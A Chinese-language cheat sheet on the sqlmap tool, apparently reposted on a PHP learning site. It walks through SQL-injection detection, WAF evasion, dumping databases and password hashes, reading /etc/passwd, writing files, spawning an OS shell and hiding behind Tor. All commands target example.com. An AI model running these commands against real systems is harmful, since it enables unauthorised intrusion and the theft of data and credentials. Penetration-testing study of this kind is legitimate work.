0

0

SQLMap 备忘单:自动 SQL 注入快速指南

聖光之護

聖光之護

发布时间:2024-09-26 14:33:01

|

547人浏览过

|

来源于dev.to

转载

sqlmap 备忘单:自动 sql 注入快速指南

作者:特里克斯·赛勒斯

什么是 sqlmap?
sqlmap是一个开源渗透测试工具,用于检测和利用web应用程序中的sql注入漏洞。它支持各种数据库系统,如 mysql、postgresql、oracle、microsoft sql server 等。

基本用法
要开始使用 sqlmap,您可以通过提供目标 url 以最简单的形式运行它:

sqlmap -u "http://example.com/index.php?id=1"

此命令扫描目标 url 是否存在 sql 注入漏洞。

1。检测漏洞
使用以下选项执行基本的漏洞扫描并自动检测 sql 注入点:

sqlmap -u "http://example.com/index.php?id=1" --dbs

--dbs:如果发现漏洞,列出目标服务器上所有可用的数据库。

2。指定 post 请求

对于需要 post 请求的目标(通常在登录表单中),您可以指定如下数据:

sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"

3。绕过 waf 和过滤器

为了逃避 web 应用程序防火墙 (waf),sqlmap 包含有效负载混淆技术:

sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment

--tamper:使用篡改脚本来逃避过滤器。示例:space2comment、charencode。

4。提取数据库、表和列
要获取目标系统上的数据库列表:

sqlmap -u "http://example.com/index.php?id=1" --dbs

识别数据库后,提取其表:

sqlmap -u "http://example.com/index.php?id=1" -d database_name --tables

要从特定表中获取列:

sqlmap -u "http://example.com/index.php?id=1" -d database_name -t table_name --columns

5。转储数据

转储表的内容是 sqlmap 最有用的功能之一。例如,转储特定表中的所有数据:

sqlmap -u "http://example.com/index.php?id=1" -d database_name -t table_name --dump

6。枚举数据库用户和密码

sqlmap 还可以用于枚举数据库用户,甚至破解哈希密码:

sqlmap -u "http://example.com/index.php?id=1" --users
sqlmap -u "http://example.com/index.php?id=1" --passwords

7。访问操作系统

在某些情况下,sqlmap可以用来在操作系统上执行命令,特别是当数据库用户具有高级权限时:

Artbreeder
Artbreeder

创建令人惊叹的插画和艺术

下载
sqlmap -u "http://example.com/index.php?id=1" --os-shell

这将提供一个交互式 shell,您可以在其中在目标系统上执行命令。

8。文件上传与读取

您还可以从目标系统读取文件或上传恶意文件(如果允许):

sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"

9。使用 tor 进行匿名

要隐藏您的身份,您可以通过 tor 网络运行 sqlmap:

sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=socks5 --check-tor

--tor:启用 tor。
--check-tor:验证是否通过 tor 建立连接。

10。保存和恢复会话

sqlmap 允许您使用 --session 选项保存和恢复进度:

sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name

稍后,您可以通过以下方式恢复同一会话:

sqlmap -r your_session_name

11。详细模式

要查看有关 sqlmap 正在执行的操作的详细信息:

sqlmap -u "http://example.com/index.php?id=1" -v 3

-v 选项控制详细程度(级别从 0 到 6,其中 6 显示所有详细信息)。

  1. 自动扫描多个目标

sqlmap 支持扫描存储在文件中的多个 url:

sqlmap -m urls.txt --batch

--batch:使用默认选项自动回答所有提示,对于自动扫描很有用。

还可以使用 --risk=3 和 --level=5 来提前扫描
您可以使用此备忘单向读者介绍 sqlmap 的基本命令,并帮助他们开始 sql 注入测试。

~trixsec

相关专题

更多
数据分析工具有哪些
数据分析工具有哪些

数据分析工具有Excel、SQL、Python、R、Tableau、Power BI、SAS、SPSS和MATLAB等。详细介绍:1、Excel,具有强大的计算和数据处理功能;2、SQL,可以进行数据查询、过滤、排序、聚合等操作;3、Python,拥有丰富的数据分析库;4、R,拥有丰富的统计分析库和图形库;5、Tableau,提供了直观易用的用户界面等等。

676

2023.10.12

SQL中distinct的用法
SQL中distinct的用法

SQL中distinct的语法是“SELECT DISTINCT column1, column2,...,FROM table_name;”。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

320

2023.10.27

SQL中months_between使用方法
SQL中months_between使用方法

在SQL中,MONTHS_BETWEEN 是一个常见的函数,用于计算两个日期之间的月份差。想了解更多SQL的相关内容,可以阅读本专题下面的文章。

346

2024.02.23

SQL出现5120错误解决方法
SQL出现5120错误解决方法

SQL Server错误5120是由于没有足够的权限来访问或操作指定的数据库或文件引起的。想了解更多sql错误的相关内容,可以阅读本专题下面的文章。

1095

2024.03.06

sql procedure语法错误解决方法
sql procedure语法错误解决方法

sql procedure语法错误解决办法:1、仔细检查错误消息;2、检查语法规则;3、检查括号和引号;4、检查变量和参数;5、检查关键字和函数;6、逐步调试;7、参考文档和示例。想了解更多语法错误的相关内容,可以阅读本专题下面的文章。

357

2024.03.06

oracle数据库运行sql方法
oracle数据库运行sql方法

运行sql步骤包括:打开sql plus工具并连接到数据库。在提示符下输入sql语句。按enter键运行该语句。查看结果,错误消息或退出sql plus。想了解更多oracle数据库的相关内容,可以阅读本专题下面的文章。

675

2024.04.07

sql中where的含义
sql中where的含义

sql中where子句用于从表中过滤数据,它基于指定条件选择特定的行。想了解更多where的相关内容,可以阅读本专题下面的文章。

572

2024.04.29

sql中删除表的语句是什么
sql中删除表的语句是什么

sql中用于删除表的语句是drop table。语法为drop table table_name;该语句将永久删除指定表的表和数据。想了解更多sql的相关内容,可以阅读本专题下面的文章。

414

2024.04.29

Java 桌面应用开发(JavaFX 实战)
Java 桌面应用开发(JavaFX 实战)

本专题系统讲解 Java 在桌面应用开发领域的实战应用,重点围绕 JavaFX 框架,涵盖界面布局、控件使用、事件处理、FXML、样式美化(CSS)、多线程与UI响应优化,以及桌面应用的打包与发布。通过完整示例项目,帮助学习者掌握 使用 Java 构建现代化、跨平台桌面应用程序的核心能力。

36

2026.01.14

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
MySQL 教程
MySQL 教程

共48课时 | 1.7万人学习

MySQL 初学入门(mosh老师)
MySQL 初学入门(mosh老师)

共3课时 | 0.3万人学习

简单聊聊mysql8与网络通信
简单聊聊mysql8与网络通信

共1课时 | 790人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号